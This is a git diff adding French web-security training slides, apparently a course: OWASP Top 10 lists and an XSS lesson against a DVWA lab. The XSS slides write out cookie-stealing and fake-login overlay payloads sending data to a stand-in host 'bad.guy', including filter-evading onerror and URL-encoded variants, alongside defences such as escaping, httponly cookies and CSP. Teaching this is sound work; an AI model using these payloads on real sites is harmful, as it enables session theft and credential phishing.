+  * [error_reporting](http://php.net/manual/fr/function.error-reporting.php), pas [mysql_error()](http://php.net/mysql_error) ni [mysqli_error()](http://php.net/manual/fr/mysqli.error.php)
+* repérer les requêtes suspectes dans les logs
+
+Note:
+- TODO regarder si les messages sont désactiables à partir de MySQL
diff --git a/content/slides/1337/md/top10.md b/content/slides/1337/md/top10.md
new file mode 100644
index 0000000000000000000000000000000000000000..30a5872832a41f37d8cec68e83d5147fa1e14c4a
--- /dev/null
+++ b/content/slides/1337/md/top10.md
@@ -0,0 +1,61 @@
+## [Owasp top 10 (2013)](https://www.owasp.org/index.php/Top_10_2013-Top_10)
+
+#### <i class="fa fa-file-pdf-o"></i> [FR](http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20French.pdf)
+
+### <i class="fa fa-book"></i> [All Attack types](https://www.owasp.org/index.php/Category:Attack)
+
+
+## [Owasp top 10 (2013)](https://www.owasp.org/index.php/Top_10_2013-Top_10)
+
+1. [Injection](https://www.owasp.org/index.php/Top_10_2013-A1-Injection)
+2. [Broken Authentication and Session Management](https://www.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management)
+3. <a href="https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)">Cross-Site Scripting (XSS)</a>
+4. [Insecure Direct Object References](https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References)
+5. [Security Misconfiguration](https://www.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration)
+6. [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure)
+7. [Missing Function Level Access Control](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control)
+8. <a href="https://www.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF)">Cross-Site Request Forgery (CSRF)</a>
+9. [Using Components with Known Vulnerabilities](https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities)
+10. [Unvalidated Redirects and Forwards](https://www.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards)
+
+
+## [Owasp top 10 (2017)](https://www.owasp.org/index.php/Top_10-2017_Top_10)
+
+1. [<i class="fa fa-hand-o-right" aria-hidden="true"></i> Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection)
+2. [<i class="fa fa-hand-o-right" aria-hidden="true"></i> Broken Authentication and Session Management](https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication)
+3. [<i class="fa fa-hand-o-up" aria-hidden="true"></i> Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure)
+4. <a href="https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)"><i class="fa fa-hand-peace-o" aria-hidden="true"></i> XML External Entities (XXE)</a>
+5. [<i class="fa fa-hand-peace-o" aria-hidden="true"></i> Broken Access Control](https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control)
+6. [<i class="fa fa-hand-o-down" aria-hidden="true"></i> Security Misconfiguration](https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration)
+7. <a href="https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)"><i class="fa fa-hand-o-down" aria-hidden="true"></i> Cross-Site Scripting (XSS)</a>
+8. [<i class="fa fa-hand-peace-o" aria-hidden="true"></i> Insecure Deserialization](https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization)
+9. [<i class="fa fa-hand-o-right" aria-hidden="true"></i> Using Components with Known Vulnerabilities](https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities)
+10. [<i class="fa fa-hand-peace-o" aria-hidden="true"></i> Insufficient Logging&Monitoring](https://www.owasp.org/index.php/Top_10-2017_A10-Insufficient_Logging%26Monitoring)
+
+
+## Répartition par Attaques
+
+![Relative Portions of Each Attack Type](images/top10/Relative_Portions_of_Each_Attack_Type.png "Relative Portions of Each Attack Type")
+
+[source IMPERVA](http://www.imperva.com/docs/HII_Web_Application_Attack_Report_Ed4.pdf)
+
+
+## Répartition par Attaques
+
+* Cross-site scripting (XSS)
+* SQL injection (SQLi)
+* Remote File Inclusion (RFI)
+* Local File Inclusion (LFI)
+* Email extraction (EmExt)
+* Directory traversal (DT)
+* Comment Spamming (ComSpm)
+<!-- https://www.whitehatsec.com/resource/stats.html -> owncloud/ssi/2015-Stats-Report.pdf to print -->
+<!-- http://www.symantec.com/security_response/publications/threatreport.jsp -->
+<!-- http://www.zdnet.fr/actualites/cybersecurite-a-quoi-s-attendre-dans-les-mois-qui-viennent-39822112.htm -->
+
+
+## Autres top 10 ...
+
+### <i class="fa fa-mobile"></i> [Top 10 - Mobile security](https://www.owasp.org/index.php/OWASP_Mobile_Security_Project#tab=Top_10_Mobile_Risks)
+
+### <i class="fa fa-wordpress"></i> <i class="fa fa-drupal"></i>  [Top 10 des failles de sécurité des CMS](http://www.cms.fr/articles/525-top-10-des-failles-de-securite-des-cms.html)
diff --git a/content/slides/1337/md/xss.md b/content/slides/1337/md/xss.md
new file mode 100644
index 0000000000000000000000000000000000000000..b9e0629acfe25257d0a987d0fbecd3ef8abeb90d
--- /dev/null
+++ b/content/slides/1337/md/xss.md
@@ -0,0 +1,368 @@
+# XSS
+
+## aka cross site script
+
+
+### <i class="fa fa-cogs"></i> Principe
+
+* Affichage de données utilisateur sans validation ou échappement
+  * par oubli du développeur
+  * par les messages d'erreurs renvoyés par le langage
+    * tentative d'injection de code interprétable par le navigateur de la cible
+
+
+### <i class="fa fa-user-secret"></i> Que peut on faire?
+
+* Défacement de pages
+* Redirection arbitraire
+  * exploiter un CSRF (c.f. [CSRF](CSRF.htm))
+* Vol de cookies (session)
+* Browser hijacking
+
+Note:
+- Récupération d’informations
+- souvent c'est du JS qu'on cherche à injecter
+- redirectiona rbitriare signifie aussi réécriture d'url de formulaire à la volée
+- détection automatique
+  - élément envoyé dans la requête et repris dans la réponse
+  - on commencera par esssayer d'envoyer de l'html
+
+
+## XSS reflected
+
+* ou encore réfléchie, non permanente
+  * le code malicieux n'est stocké nulle part
+    * injecté dans l'url et exécuté au moment de l'accès au lien malicieux
+      * fait forcément appel à l'ingénierie sociale pour inciter à cliquer
+
+
+## XSS stored
+
+* ou encore stockée, permanente
+  * le code malicieux est stocké
+    * exécuté à chaque fois que la donnée malicieuse est affichée par un utilisateur
+      * le recours à l'ingénierie sociale n'est pas forcément nécessaire
+
+Note:
+- dans le cas d'un CSRF on récupère rien on espère que ca a marché
+
+
+## XSS
+
+![Bob](images/xss/XSS-bob.png "Bob")  ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Site faille](images/xss/XSS-sitefaille.png "Site faille") ![Serveur victime](images/xss/XSS-serveurvictime.png "Serveur victime")
+
+1.Bob consulte la page faillible et repère une faille XSS
+
+
+## XSS
+
+![Bob](images/xss/XSS-bob.png "Bob") ![Scripts](images/xss/XSS-scripts.png "Scripts") ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Serveur pirate](images/xss/XSS-serveurpirate.png "Serveur pirate")
+
+2.Bob écrit un payload JS qui récupère par exemple des informations utilisateurs et les envoies sur son serveur
+
+**Il rend ce script accessible via le XSS qu'il a découvert sur la page faillible**
+
+
+## XSS
+
+![Bob](images/xss/XSS-bob.png "Bob")  ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Alice](images/xss/XSS-alice1.png "Alice")
+
+3.Bob envoie l'url du XSS à Alice en l'incitant à cliquer sur un lien forgé **XSS réfléchie**
+
+ou
+
+3.attend simplement qu'elle se connecte une page compromise **XSS stockée**
+
+Note:
+- test du XSS souvent alert ... méthode plus discrète notamment pour XSS stored
+  - console.log > alert
+
+
+## XSS
+
+![Alice](images/xss/XSS-alice2.png "Alice")  ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Site piégé](images/xss/XSS-sitepiege.png "Site piégé") ![Serveur victime](images/xss/XSS-serveurvictime.png "Serveur victime")
+
+4.Alice lique sur le lien forgé **XSS réfléchie**
+
+ou
+
+4.Alice consulte la page compromise et pense avoir à faire à l'originale **XSS stockée**
+
+
+## XSS
+
+![Alice](images/xss/XSS-alice2.png "Alice") ![Données utilisateur](images/xss/XSS-infos.gif "Données utilisateur") ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Scripts](images/xss/XSS-scripts.png "Scripts") ![Serveur victime](images/xss/XSS-serveurvictime.png "Serveur victime")
+
+5.la page compromise exécuter le payload JS de Bob
+
+
+## Défacement
+
+### [XSS stored - security low](http://dv.wa/vulnerabilities/xss_s/)
+
+* l'idée est de recouvrir la page
+  * avec un message "p0wned" style
+  * avec une page malicieuse
+    * imiter un formulaire d'authentification légitime pour l'utilisateur
+      * récupérer les données saisies et rediriger l'utilisateur
+        * être le plus silencieux possible dans la navigation
+
+
+### [XSS stored - security low](http://dv.wa/vulnerabilities/xss_s/)
+
+ ```html
+<iframe src="http://bad.guy/login.html"
+  style="position: absolute; top:0; left: 0; width: 100%; height: 100%;">
+</iframe>
+```
+
+* <i class="fa fa-bell-o"></i> maxlength="50" du textarea pose problème
+  * contournable en utilisant burp comme proxy<!-- .element class="fragment rollin" -->
+  * contournable avec l'inspecteur du navigateur (F12)<!-- .element class="fragment rollin" -->
+
+!["inspector"](images/xss/inspector.png "inspector")<!-- .element class="fragment rollin" -->
+
+Note:
+- on a injecté que du HTML ...
+
+
+## Vol de session
+
+* Tout le contexte du navigateur est accessible
+  * [créant une véritable empreinte de votre navigateur](https://panopticlick.eff.org)
+
+* l'appel au script distant est réalisé en javascript
+
+```js
+<script>
+location.replace("http://bad.guy/thief.php?cookie=" + document.cookie);
+</script>
+```
+
+
+### [XSS stored - security medium](http://dv.wa/vulnerabilities/xss_s/)
+
+filtrer la balise &lt;script&gt; ne suffit pas
+
+```js
+<img src="javascript:location.replace('http://bad.guy/thief.php?cookie=' + document.cookie)" />
+```
+
+mais [les navigateurs récents n'exécutent pas le js de l'attribut src de la balise img](https://www.mozilla.org/en-US/security/advisories/mfsa2006-72/)
+
+```js
+<img src="http://2.com/3.gif" onerror="javascript:location.replace('http://bad.guy/thief.php?cookie=' + document.cookie)" />
+```
+
+**il reste les événements ;)**
+
+Note:
+- coups de la limitation caractère côté HTML à faire péter avec l'inspecteur
+
+
+## [XSS reflected - low medium](http://dv.wa/vulnerabilities/xss_r/)
+
+Poc
+
+```http
+http://dv.wa/vulnerabilities/xss_r/?name=<script>alert('pipo')</script>
+```
+
+soit correctement encodée
+
+```http
+http://dv.wa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27pipo%27%29%3C%2Fscript%3E
+```
+
+
+## défacement
+
+```http
+http://dv.wa/vulnerabilities/xss_r/?name=<iframe src="http://bad.guy/login.html" style="width: 100%; height: 100%; position: absolute; top:0; left: 0;"></iframe>
+```
+
+```http
+http://dv.wa/vulnerabilities/xss_r/?name=%3Ciframe+src%3D%22http%3A%2F%2Fbad.guy%2Flogin.html%22+style%3D%22width%3A+100%25%3B+height%3A+100%25%3B+position%3A+absolute%3B+top%3A0%3B+left%3A+0%3B%22%3E%3C%2Fiframe%3E
+```
+
+
+## vol de session
+
+```http
+http://dv.wa/vulnerabilities/xss_r/?name=<script>location.replace('http://bad.guy/thief.php?cookie=' + document.cookie);</script>
+```
+
+```http
+http://dv.wa/vulnerabilities/xss_r/?name=%3Cscript%3E+location.replace%28%27http%3A%2F%2Fbad.guy%2Fthief.php%3Fcookie%3D%27+%2B+document.cookie%29%3B+%3C%2Fscript%3E
+```
+
+Note:
+- plus ciblée
+  - nécessite plus d'ingéniosité pour obtenir le clic
+  - quid de la confiance qu'on accorde au js chargés ailleurs
+    - on ne les contrôle pas
+
+
+## Browser Hijacking
+
+* [BeEF - The Browser Exploitation Framework Project](http://beefproject.com/)
+  * inclusion d'un hook.js
+    * les naviagteurs connetés à la page se comportent ensuite comme des zombies
+      *  répondent aux payloads qu'on leur envoie
+
+![Beef](images/xss/beef-webcam.jpg "Beef")<!-- .element style="margin: 10px" width="60%" -->
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+* utiliser un moteur de template
+  * échappe par défaut
+
+* dans le `php.ini` pour éviter la manipulation des cookies via javascript
+
+```http
+session.cookie_httponly = 1
+```
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+* échapper / filtrer les entrées
+  * [htmlspecialchars()](http://php.net/manual/fr/function.htmlspecialchars.php) transforme tous les caractères en entité html
+    * [htmlentities()](http://php.net/manual/fr/function.htmlentities.php) fait l'opération inverse
+  * listes blanches
+    * Web Application Firewall (WAF)
+      * [mod_security](https://www.modsecurity.org/)
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+* <i class="fa fa-fire"></i> [XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)
+
+* <i class="fa fa-fire"></i> [<i class="fa fa-github"></i> alcuadrado/hieroglyphy](https://github.com/alcuadrado/hieroglyphy)
+
+* [<i class="fa fa-newspaper-o"></i> permet de convertir le code js en caractères non alphanumériques en le gardant fonctionnel](http://patriciopalladino.com/blog/2012/08/09/non-alphanumeric-javascript.html)
+
+* coté client
+  * [<i class="fa fa-firefox"></i> NoScript](https://addons.mozilla.org/fr/firefox/addon/noscript/) est une option
+
+Note:
+- waf pro mode apprentissage avant le lancement pre prod
+  - mod_security aucun mode apprentissage
+
+
+## [<i class="fa fa-medkit"></i> **CSP**: Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives)
+
+* En-tête renvoyée côté serveur
+  * protéger son contenu
+  * protéger ses utilisateurs
+  * possibilité de reporting
+    * quelles tentatives ont été menées
+
+
+## [<i class="fa fa-medkit"></i> **CSP**: Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives)
+
+```http
+Content-Security-Policy: script-src 'self' https://apis.google.com; frame-src 'none'
+```
+
+* informera le browser que
+  * seuls les scripts en provenance de la page elle même et de apis.google.com pourront être exécutés
+  * les balises iframes ne doivent pas être interprétées
+
+
+## [<i class="fa fa-medkit"></i> **CSP**: Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives)
+
+<div style="text-align: center">
+  ![CSP](images/xss/csp.png "CSP")
+</div>
+
+* [<i class="fa fa-newspaper-o"></i> Why is CSP Failing? Trends and Challenges in CSP Adoption](mweissbacher.com/publications/csp_raid.pdf)
+
+Note:
+- couvre le cas d'un XSS js dans une balise src
+- couvre également le cas d'une iframe qui recouvre une page légitime
+
+
+## [<i class="fa fa-medkit"></i> **SOP**: Same Origin Policy](https://developer.mozilla.org/fr/docs/Web/JavaScript/)
+
+  * concerne *XMLHttpRequest*
+    * restreint les interactionsaux ressources de même origine
+      * protocole + "://" + hôte + ":" + [port]
+
+
+## [<i class="fa fa-medkit"></i> **SOP**: Same Origin Policy](https://developer.mozilla.org/fr/docs/Web/JavaScript/)
+
+protège l'intégrité de la page
+
+```js
+$(function() { // on Load jQuery style
+  $.ajax({
+    url: "http://bad-guy.com/data.php"
+  }).done(function(untrustedData) {
+    injectInMyDOM(untrustedData);
+  });
+});
+```
+
+<div style="text-align: center">
+  ![SOP](images/xss/sop.png "SOP")
+</div>
+
+
+## [<i class="fa fa-medkit"></i> **SOP**: Same Origin Policy](https://developer.mozilla.org/fr/docs/Web/JavaScript/)
+
+protège la confidentialité des sessions
+
+```js
+$(function() { // on Load jQuery style
+  $.ajax({
+    url: "https://gmail.com"
+  }).done(function(sensitiveData) {
+    $.post("http://bad-guy.com/data.php", { sensitive_data: sensitiveData });
+  });
+});
+```
+
+
+## [<i class="fa fa-medkit"></i> **CORS**: Cross Origin Resource Sharing](https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS)
+
+* contrôler les accès en mode cross-site
+  * concerne l'échange entre fournisseurs de services
+* effectuer des transferts de données sécurisés
+  * entre sources sûres niveau injection & confidentialité
+
+
+## [<i class="fa fa-medkit"></i> **CORS** Cross Origin Resource Sharing](https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS)
+
+le client ajoute automatiquement une en-tête HTTP
+
+```http
+Origin: http://www.foo.com
+```
+
+le serveur doit ajouter une en tête HTTP d'autorisation pour le domaine
+
+```http
+Access-Control-Allow-Origin: http://www.foo.com
+```
+
+en-tête d'autorisation pour tous les domaines
+
+```http
+Access-Control-Allow-Origin: *
+```  
+
+
+## [<i class="fa fa-medkit"></i> **CORS** Cross Origin Resource Sharing](https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS)
+
+* autorise tous les verbes HTTP
+  * [JSONP](http://igm.univ-mlv.fr/~dr/XPOSE2009/ajax_sop_jsonp/jsonp_presentation.html) n'autorisait que la méthode GET
+
+  * [<i class="fa fa-stack-overflow"></i> Disable firefox same origin policy](http://stackoverflow.com/questions/17088609/disable-firefox-same-origin-policy)
+
+Note:
+- l'introduction de cette nouvelle possibilité implique nécessairement que les serveurs doivent gérer de nouvelles entêtes, et doivent renvoyer les ressources avec de nouvelles entêtes également
+- doit être supporté par le navigateur
+- la valeur * est possible mais risquée
+- requêtes simples, pré-vérifiées avec le verbe OPTIONS, avec habilitations en forcant l'envoie du cookie
diff --git a/content/slides/1337/reagir.html b/content/slides/1337/reagir.html
new file mode 100644
index 0000000000000000000000000000000000000000..88b0b01ef74dd1a8e5f7eb106c202b4d40436ab1
--- /dev/null
+++ b/content/slides/1337/reagir.html
@@ -0,0 +1,70 @@
+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>réagir</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/reagir/00_contexte.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>
diff --git a/content/slides/1337/sqli.html b/content/slides/1337/sqli.html
new file mode 100644
index 0000000000000000000000000000000000000000..ddd9c32f1d6bbf15c7e2f34ae7b1ec67a5e695c4
--- /dev/null
+++ b/content/slides/1337/sqli.html
@@ -0,0 +1,70 @@
+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>SQLi</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/sqli.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>
diff --git a/content/slides/1337/top10.html b/content/slides/1337/top10.html
new file mode 100644
index 0000000000000000000000000000000000000000..c5c21d8da07ec25562a5959c9b993345d8f29697
--- /dev/null
+++ b/content/slides/1337/top10.html
@@ -0,0 +1,70 @@
+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>Top 10</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/top10.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>
diff --git a/content/slides/1337/xss.html b/content/slides/1337/xss.html
new file mode 100644
index 0000000000000000000000000000000000000000..28c20746f017ea894a824c77137521583ebd0178
--- /dev/null
+++ b/content/slides/1337/xss.html
@@ -0,0 +1,70 @@
+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>XSS</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/xss.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>
diff --git a/content/slides/index.html b/content/slides/index.html
index e004a7b839986300b8fbfa8f6d56eb8345ebd6b7..df3bcef4ecc2ec4b398a446a89c05709b597ef91 100644
--- a/content/slides/index.html
+++ b/content/slides/index.html
@@ -58,12 +58,7 @@
       <li>
         <a href="1337/sqli.html">SQLi</a>
         <ul>
-          <li>
-            Exploit
-            <ul>
-              <li><a href="1337/drupalgeddon.html">Drupalgeddon</a></li>
-            </ul>
-          </li>
+          <li><a href="1337/drupalgeddon.html">Drupalgeddon</a></li>
         </ul>
       </li>
     </ul>
@@ -71,11 +66,9 @@
   <li>
     Se prot&eacute;ger
     <ul>
-      <li>
-        <li><a href="1337/top10.html">Top10</a></li>
-        <li><a href="1337/anticiper.html">Anticiper</a></li>
-        <li><a href="1337/anticiper.html">R&eacute;agir</a></li>
-      </li>
+      <li><a href="1337/top10.html">Top10</a></li>
+      <li><a href="1337/anticiper.html">Anticiper</a></li>
+      <li><a href="1337/reagir.html">R&eacute;agir</a></li>
     </ul>
   </li>
 </ul>